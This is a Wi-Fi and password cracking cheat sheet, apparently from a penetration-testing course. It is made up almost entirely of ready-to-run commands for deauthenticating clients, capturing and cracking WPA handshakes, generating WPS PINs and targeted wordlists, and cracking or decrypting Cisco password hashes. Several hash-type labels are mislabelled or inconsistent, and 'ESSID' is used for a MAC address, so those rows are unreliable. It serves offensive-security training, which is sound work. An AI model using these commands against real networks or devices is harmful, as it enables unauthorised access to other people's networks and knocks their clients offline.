

WI-FI PASSWORD CRACKING TECHNIQUES CHEAT SHEET

The Traditional WPA Attack

Command	Description
<code>sudo airmon-ng start wlan0</code>	Enable monitor mode
<code>sudo airodump-ng wlan0mon -c 1 -w WPA</code>	Scan for Wi-Fi networks and associated clients
<code>sudo aireplay-ng -0 5 -a 80:2D:BF:FE:13:83 -c 8A:00:A9:9B:ED:1A wlan0mon</code>	Launch a deauthentication attack
<code>cowpatty -c -r WPA-01.cap</code>	Validate whether a proper WPA handshake was captured
<code>cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s HackTheBox</code>	Retrieve the WPA-PSK from a captured handshake (cowpatty)
<code>aircrack-ng WPA-01.cap -w /opt/wordlist.txt</code>	Retrieve the WPA-PSK from a captured handshake (aircrack-ng)
<code>./wpa2john WPA-01.pcap > hash</code>	Parse the 4Way-Handshake to produce a hash (JtR format)

Command	Description
<code>john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=wpapsk</code>	Crack the WPA hash (JtR)
<code>hcxpcapngtool -o hash WPA-01.pcap</code>	Parse the 4Way-Handshake to produce a hash (Hashcat format)
<code>hashcat -m 22000 --force hash wordlist.txt</code>	Crack the WPA hash (Hashcat)

Using Hashcat

Command	Description
<code>hashcat -I</code>	Identify available CPU and GPU devices
<code>hashcat -m 22000 hash wordlist.txt -D 1 -d 2</code>	CPU based cracking, using device number 2
<code>hashcat -m 22000 hash wordlist.txt -D 2 -d 8</code>	GPU based cracking, using device number 8
<code>hashcat -m 22000 hash wordlist.txt -w 3</code>	Workload level 3
<code>hashcat -m 22000 hash wordlist.txt -O</code>	Optimized kernel
<code>hashcat -m 22000 hash wordlist.txt -D 1 --cpu-affinity=1,2,3,4</code>	Bind to specific CPU cores
<code>hashcat -m 22000 hash wordlist.txt -D 1 --cpu-affinity=1,2,3,4 --hook-threads=8</code>	Control number of threads
<code>hashcat -m 22000 hash wordlist.txt -D 1,2 -d 1,2</code>	Use GPU and CPU simultaneously
<code>hashcat -m 22000 hash wordlist.txt -r /usr/share/hashcat/rules/T0X1C.rule</code>	Apply a rule file to the wordlist

Command	Description
<code>hashcat -a 3 -m 22000 hash '?u?l?l?l?l?l?l?a?d?d?d?d?d'</code>	Launch a mask attack
<code>hashcat -a 3 -m 22000 hash --increment --increment-min 8 --increment-max=14 '?u?l?l?l?l?l?l?a?d?d?d?d?d'</code>	Apply a mask increment (minimum length 8, maxmium length 14)
<code>hashcat -a 1 -m 22000 hash wordlist1 wordlist2</code>	Launch a combinator attack
<code>hashcat -a 6 -m 22000 hash wordlist.txt ?d?d?d</code>	Hybrid mode 6 (dictionary followed by mask)
<code>hashcat -a 7 -m 22000 hash ?d?d?d wordlist</code>	Hybrid mode 7 (mask followed by wordlist)

Rule Operation	Description
<code>c</code>	Capitalize the first character, lowercase the rest
<code>C</code>	Lowercase the first character, uppercase the rest
<code>t</code>	Toggle the case of all characters in word
<code>T2</code>	Toggle the case of characters at position 3
<code>\$1</code>	Append 1 to the end
<code>^1</code>	Prepend 1 to the front
<code>r</code>	Reverse the word
<code>sa@</code>	Substitute a with @
<code>d</code>	Duplicate the word
<code>z5</code>	Duplicate first character 5 times
<code>Z5</code>	Duplicate last character 5 times

Mask	Description
?l	Lower-case ASCII letters
?u	Upper-case ASCII letters
?d	Digits
?h	Digits with lower-case ASCII letters
?H	Digits with upper-case ASCII letters
?s	Special characters
?a	Combination of ?l, ?u, ?d and ?s
?b	All possible byte values

Generating Credentials

Command	Description
<code>grep -i "9C-C9-EB" /var/lib/ieee-data/oui.txt</code>	Manufacturer lookup
<code>python3 NPCinator.py > passwords.txt</code>	Generate Netgear passwords
<code>wpspin D4:BF:7F:EB:29:D2</code>	Generate the default WPS PIN for a given ESSID
<code>wpspin -A D4:BF:7F:EB:29:D2</code>	Generate a variety of WPS PINs for a given ESSID
<code>cupp -i</code>	Launch CUPP in interactive mode
<code>cewl http://logistics.local -d 4 -m 8 -w inline.wordlist</code>	Generate a wordlist based on crawled website information (crawl depth 4, minimum length 8)
<code>./username-anarchy David Smith</code>	Generate a list of possible username permutations

Command	Description
<code>./username-anarchy --list-formats</code>	List available username formats
<code>./username-anarchy --country france --auto</code>	Generate usernames that follow a country-specific naming convention
<code>./username-anarchy --recognise j.smith</code>	Identify the username format

Miscellaneous Attacks

Command	Description
<code>grep -i "9C-C9-EB" /var/lib/ieee-data/oui.txt</code>	Manufacturer lookup
<code>genpmk -f /opt/rockyou.txt -d /tmp/hashtable -s HackTheBox</code>	Generate a precomputed hash table
<code>john --format=Raw-SHA256 --wordlist=/opt/rockyou.txt hash</code>	Crack a Cisco Type 4 password hash (JtR)
<code>hashcat -m 5700 -O -a 0 hash /usr/share/wordlists/rockyou.txt</code>	Crack a Cisco Type 4 password hash (Hashcat)
<code>john --format=md5crypt --fork=4 --wordlist=/opt/rockyou.txt hash</code>	Crack a Cisco Type 4 password hash (JtR)
<code>hashcat -m 500 -O -a 0 hash /usr/share/wordlists/rockyou.txt</code>	Crack a Cisco Type 5 password hash (Hashcat)
<code>python ciscot7.py -d -p 08116C5D1A0E550516</code>	Decrypt a Cisco Type 7 password
<code>john --format=pbkdf2-hmac-sha256 --fork=4 --wordlist=/opt/rockyou.txt hash</code>	Crack a Cisco Type 8 password hash (JtR)
<code>hashcat -m 9200 -a 0 hash /usr/share/wordlists/rockyou.txt</code>	Crack a Cisco Type 8 password hash (Hashcat)
<code>john --format=scrypt --fork=4 --wordlist=/opt/rockyou.txt hash</code>	Crack a Cisco Type 9 password hash (JtR)

Command	Description
<code>hashcat -m 9300 -a 0 --force hash /usr/share/wordlists/rockyou.txt</code>	Crack a Cisco Type 9 password hash (Hashcat)